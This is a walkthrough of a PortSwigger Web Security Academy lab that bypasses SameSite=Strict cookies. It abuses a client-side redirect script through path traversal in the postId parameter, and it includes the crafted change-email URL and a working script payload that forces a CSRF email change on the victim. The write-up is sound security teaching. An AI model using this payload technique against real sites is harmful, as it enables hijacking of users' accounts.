SameSite Strict bypass via client side redirect

Description

This lab's change email function is vulnerable to CSRF. To solve the lab, perform a CSRF attack that changes the victim's email address. You should use the provided exploit server to host your attack.

You can log in to your own account using the following credentials: wiener:peter

Approach

Upon logging in, I noticed the following response header indicating that SameSite protection is enabled and set to Strict:

Set-Cookie: session=ZiIDBue8O418Mu3AzTlA27Uckxe0oTRF; Secure; HttpOnly; SameSite=Strict

This means that cross-site requests won't include the necessary cookies. To bypass this restriction, I needed to find a way to perform a CSRF attack that would still include the required cookies. A client-side redirect can achieve this, as it is treated as an ordinary, standalone request that includes all relevant cookies.

I began searching for a way to achieve an open redirect on the client side. While navigating the website, I couldn't find anything immediately useful, so I reviewed my Burp Suite HTTP history to check for any interesting background requests. I found the following request:

GET /resources/js/commentConfirmationRedirect.js HTTP/2
Host: 0a5e00fa038310658033217e002700ce.web-security-academy.net
Cookie: session=ZiIDBue8O418Mu3AzTlA27Uckxe0oTRF
...

The response was:

HTTP/2 200 OK
Content-Type: application/javascript; charset=utf-8
Cache-Control: public, max-age=3600
X-Frame-Options: SAMEORIGIN
Content-Length: 231

redirectOnConfirmation = (blogPath) => {
    setTimeout(() => {
        const url = new URL(window.location);
        const postId = url.searchParams.get("postId");
        window.location = blogPath + '/' + postId;
    }, 3000);
}

This JavaScript file handles the redirection process after submitting a comment. When I submit a comment, the following requests are sent:

  1. POST /post/comment

  2. GET /post/comment/confirmation?postId=9

  3. GET /resources/js/commentConfirmationRedirect.js

  4. GET /post/9

After posting a comment, the page redirects to the comment confirmation page with the postId parameter. The script then appends the postId value to the blog path to construct the redirect URL.

I had an idea to use path traversal to navigate from /post/9 to /my-account. I tried navigating to GET /post/comment/confirmation?postId=../my-account, and after a few seconds, I was redirected to the /my-account page. This confirmed that the idea worked.

Next, I needed to verify if changing the email via a GET request was possible. I sent the POST /my-account/change-email request to repeater, right-clicked on the request, and selected "Change request method" to GET. The request worked, confirming that changing the email through a GET request is possible.

I constructed the full URL for the attack:

https://0a5e00fa038310658033217e002700ce.web-security-academy.net/post/comment/confirmation?postId=../my-account/change-email?email=ichyaboy%40trying.hck%26submit=1

I included the submit parameter because it is present in the form:

<input required hidden name='submit' value='1'>

After waiting a few seconds, I was redirected to the my-account page with the new email, confirming the attack worked.

Next, I built the exploit payload:

<script>
	location="https://0a5e00fa038310658033217e002700ce.web-security-academy.net/post/comment/confirmation?postId=../my-account/change-email?email=ichyaboy%40run.hck%26submit=1";
</script>

When I clicked Store and Deliver exploit to victim, the victim was taken to the comment confirmation page. The redirection in the postId parameter enabled the email change. Since this is a client-side redirection, it included all cookies, including session cookies. As a result, the lab was solved, and the victim's email was successfully changed.